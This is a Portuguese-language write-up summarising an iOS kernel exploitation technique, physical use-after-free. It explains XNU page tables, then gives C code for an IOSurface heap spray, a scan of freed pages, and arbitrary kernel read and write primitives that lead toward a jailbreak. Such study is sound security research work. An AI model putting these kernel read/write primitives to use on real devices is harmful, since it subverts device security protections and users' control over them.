iOS Exploiting

Uso físico após a liberação

Este é um resumo do post de https://alfiecg.uk/2024/09/24/Kernel-exploit.html, além disso, mais informações sobre o exploit usando esta técnica podem ser encontradas em https://github.com/felix-pb/kfd

Gerenciamento de memória no XNU

O espaço de endereços de memória virtual para processos de usuário no iOS varia de 0x0 a 0x8000000000. No entanto, esses endereços não mapeiam diretamente para a memória física. Em vez disso, o kernel usa tabelas de páginas para traduzir endereços virtuais em endereços físicos reais.

Níveis de Tabelas de Páginas no iOS

As tabelas de páginas são organizadas hierarquicamente em três níveis:

  1. Tabela de Páginas L1 (Nível 1):

  • Cada entrada aqui representa uma grande faixa de memória virtual.

  • Cobre 0x1000000000 bytes (ou 256 GB) de memória virtual.

  1. Tabela de Páginas L2 (Nível 2):

  • Uma entrada aqui representa uma região menor de memória virtual, especificamente 0x2000000 bytes (32 MB).

  • Uma entrada L1 pode apontar para uma tabela L2 se não conseguir mapear toda a região por conta própria.

  1. Tabela de Páginas L3 (Nível 3):

  • Este é o nível mais fino, onde cada entrada mapeia uma única página de memória de 4 KB.

  • Uma entrada L2 pode apontar para uma tabela L3 se um controle mais granular for necessário.

Mapeamento de Memória Virtual para Física

  • Mapeamento Direto (Mapeamento de Bloco):

  • Algumas entradas em uma tabela de páginas mapeiam diretamente uma faixa de endereços virtuais para uma faixa contígua de endereços físicos (como um atalho).

  • Ponteiro para Tabela de Páginas Filha:

  • Se um controle mais fino for necessário, uma entrada em um nível (por exemplo, L1) pode apontar para uma tabela de páginas filha no próximo nível (por exemplo, L2).

Exemplo: Mapeando um Endereço Virtual

Vamos supor que você tente acessar o endereço virtual 0x1000000000:

  1. Tabela L1:

  • O kernel verifica a entrada da tabela de páginas L1 correspondente a este endereço virtual. Se tiver um ponteiro para uma tabela de páginas L2, ele vai para essa tabela L2.

  1. Tabela L2:

  • O kernel verifica a tabela de páginas L2 para um mapeamento mais detalhado. Se esta entrada apontar para uma tabela de páginas L3, ele prossegue para lá.

  1. Tabela L3:

  • O kernel consulta a entrada final L3, que aponta para o endereço físico da página de memória real.

Exemplo de Mapeamento de Endereço

Se você escrever o endereço físico 0x800004000 no primeiro índice da tabela L2, então:

  • Endereços virtuais de 0x1000000000 a 0x1002000000 mapeiam para endereços físicos de 0x800004000 a 0x802004000.

  • Isso é um mapeamento de bloco no nível L2.

Alternativamente, se a entrada L2 apontar para uma tabela L3:

  • Cada página de 4 KB na faixa de endereços virtuais 0x1000000000 -> 0x1002000000 seria mapeada por entradas individuais na tabela L3.

Uso físico após a liberação

Um uso físico após a liberação (UAF) ocorre quando:

  1. Um processo aloca alguma memória como legível e gravável.

  2. As tabelas de páginas são atualizadas para mapear essa memória para um endereço físico específico que o processo pode acessar.

  3. O processo desaloca (libera) a memória.

  4. No entanto, devido a um bug, o kernel esquece de remover o mapeamento das tabelas de páginas, mesmo que marque a memória física correspondente como livre.

  5. O kernel pode então realocar essa memória física "liberada" para outros fins, como dados do kernel.

  6. Como o mapeamento não foi removido, o processo ainda pode ler e escrever nessa memória física.

Isso significa que o processo pode acessar páginas de memória do kernel, que podem conter dados ou estruturas sensíveis, potencialmente permitindo que um atacante manipule a memória do kernel.

Estratégia de Exploração: Heap Spray

Como o atacante não pode controlar quais páginas específicas do kernel serão alocadas para a memória liberada, ele usa uma técnica chamada heap spray:

  1. O atacante cria um grande número de objetos IOSurface na memória do kernel.

  2. Cada objeto IOSurface contém um valor mágico em um de seus campos, facilitando a identificação.

  3. Eles escaneiam as páginas liberadas para ver se algum desses objetos IOSurface caiu em uma página liberada.

  4. Quando encontram um objeto IOSurface em uma página liberada, podem usá-lo para ler e escrever na memória do kernel.

Mais informações sobre isso em https://github.com/felix-pb/kfd/tree/main/writeups

Processo Passo a Passo do Heap Spray

  1. Spray de Objetos IOSurface: O atacante cria muitos objetos IOSurface com um identificador especial ("valor mágico").

  2. Escanear Páginas Liberadas: Eles verificam se algum dos objetos foi alocado em uma página liberada.

  3. Ler/Escrever na Memória do Kernel: Manipulando campos no objeto IOSurface, eles ganham a capacidade de realizar leituras e gravações arbitrárias na memória do kernel. Isso permite que eles:

  • Use um campo para ler qualquer valor de 32 bits na memória do kernel.

  • Use outro campo para escrever valores de 64 bits, alcançando um primitivo de leitura/gravação do kernel estável.

Gere objetos IOSurface com o valor mágico IOSURFACE_MAGIC para buscar mais tarde:

void spray_iosurface(io_connect_t client, int nSurfaces, io_connect_t **clients, int *nClients) {
if (*nClients >= 0x4000) return;
for (int i = 0; i < nSurfaces; i++) {
fast_create_args_t args;
lock_result_t result;

size_t size = IOSurfaceLockResultSize;
args.address = 0;
args.alloc_size = *nClients + 1;
args.pixel_format = IOSURFACE_MAGIC;

IOConnectCallMethod(client, 6, 0, 0, &args, 0x20, 0, 0, &result, &size);
io_connect_t id = result.surface_id;

(*clients)[*nClients] = id;
*nClients = (*nClients) += 1;
}
}

Procure por IOSurface objetos em uma página física liberada:

int iosurface_krw(io_connect_t client, uint64_t *puafPages, int nPages, uint64_t *self_task, uint64_t *puafPage) {
io_connect_t *surfaceIDs = malloc(sizeof(io_connect_t) * 0x4000);
int nSurfaceIDs = 0;

for (int i = 0; i < 0x400; i++) {
spray_iosurface(client, 10, &surfaceIDs, &nSurfaceIDs);

for (int j = 0; j < nPages; j++) {
uint64_t start = puafPages[j];
uint64_t stop = start + (pages(1) / 16);

for (uint64_t k = start; k < stop; k += 8) {
if (iosurface_get_pixel_format(k) == IOSURFACE_MAGIC) {
info.object = k;
info.surface = surfaceIDs[iosurface_get_alloc_size(k) - 1];
if (self_task) *self_task = iosurface_get_receiver(k);
goto sprayDone;
}
}
}
}

sprayDone:
for (int i = 0; i < nSurfaceIDs; i++) {
if (surfaceIDs[i] == info.surface) continue;
iosurface_release(client, surfaceIDs[i]);
}
free(surfaceIDs);

return 0;
}

Conseguindo Leitura/Escrita no Kernel com IOSurface

Após conseguir controle sobre um objeto IOSurface na memória do kernel (mapeado para uma página física liberada acessível a partir do espaço do usuário), podemos usá-lo para operações arbitrárias de leitura e escrita no kernel.

Campos Chave em IOSurface

O objeto IOSurface possui dois campos cruciais:

  1. Ponteiro de Contagem de Uso: Permite uma leitura de 32 bits.

  2. Ponteiro de Timestamp Indexado: Permite uma escrita de 64 bits.

Ao sobrescrever esses ponteiros, redirecionamos eles para endereços arbitrários na memória do kernel, habilitando capacidades de leitura/escrita.

Leitura de 32 Bits no Kernel

Para realizar uma leitura:

  1. Sobrescreva o ponteiro de contagem de uso para apontar para o endereço alvo menos um deslocamento de 0x14 bytes.

  2. Use o método get_use_count para ler o valor naquele endereço.

uint32_t get_use_count(io_connect_t client, uint32_t surfaceID) {
uint64_t args[1] = {surfaceID};
uint32_t size = 1;
uint64_t out = 0;
IOConnectCallMethod(client, 16, args, 1, 0, 0, &out, &size, 0, 0);
return (uint32_t)out;
}

uint32_t iosurface_kread32(uint64_t addr) {
uint64_t orig = iosurface_get_use_count_pointer(info.object);
iosurface_set_use_count_pointer(info.object, addr - 0x14); // Offset by 0x14
uint32_t value = get_use_count(info.client, info.surface);
iosurface_set_use_count_pointer(info.object, orig);
return value;
}

64-Bit Kernel Write

Para realizar uma escrita:

  1. Sobrescreva o ponteiro de timestamp indexado para o endereço alvo.

  2. Use o método set_indexed_timestamp para escrever um valor de 64 bits.

void set_indexed_timestamp(io_connect_t client, uint32_t surfaceID, uint64_t value) {
uint64_t args[3] = {surfaceID, 0, value};
IOConnectCallMethod(client, 33, args, 3, 0, 0, 0, 0, 0, 0);
}

void iosurface_kwrite64(uint64_t addr, uint64_t value) {
uint64_t orig = iosurface_get_indexed_timestamp_pointer(info.object);
iosurface_set_indexed_timestamp_pointer(info.object, addr);
set_indexed_timestamp(info.client, info.surface, value);
iosurface_set_indexed_timestamp_pointer(info.object, orig);
}

Recapitulação do Fluxo de Exploit

  1. Acionar Uso-Físico Após Liberação: Páginas liberadas estão disponíveis para reutilização.

  2. Spray Objetos IOSurface: Alocar muitos objetos IOSurface com um "valor mágico" único na memória do kernel.

  3. Identificar IOSurface Acessível: Localizar um IOSurface em uma página liberada que você controla.

  4. Abusar do Uso-Físico Após Liberação: Modificar ponteiros no objeto IOSurface para habilitar leitura/escrita arbitrária no kernel via métodos IOSurface.

Com esses primitivos, o exploit fornece leituras de 32 bits e escritas de 64 bits na memória do kernel. Passos adicionais de jailbreak podem envolver primitivos de leitura/escrita mais estáveis, que podem exigir a superação de proteções adicionais (por exemplo, PPL em dispositivos arm64e mais novos).

Last updated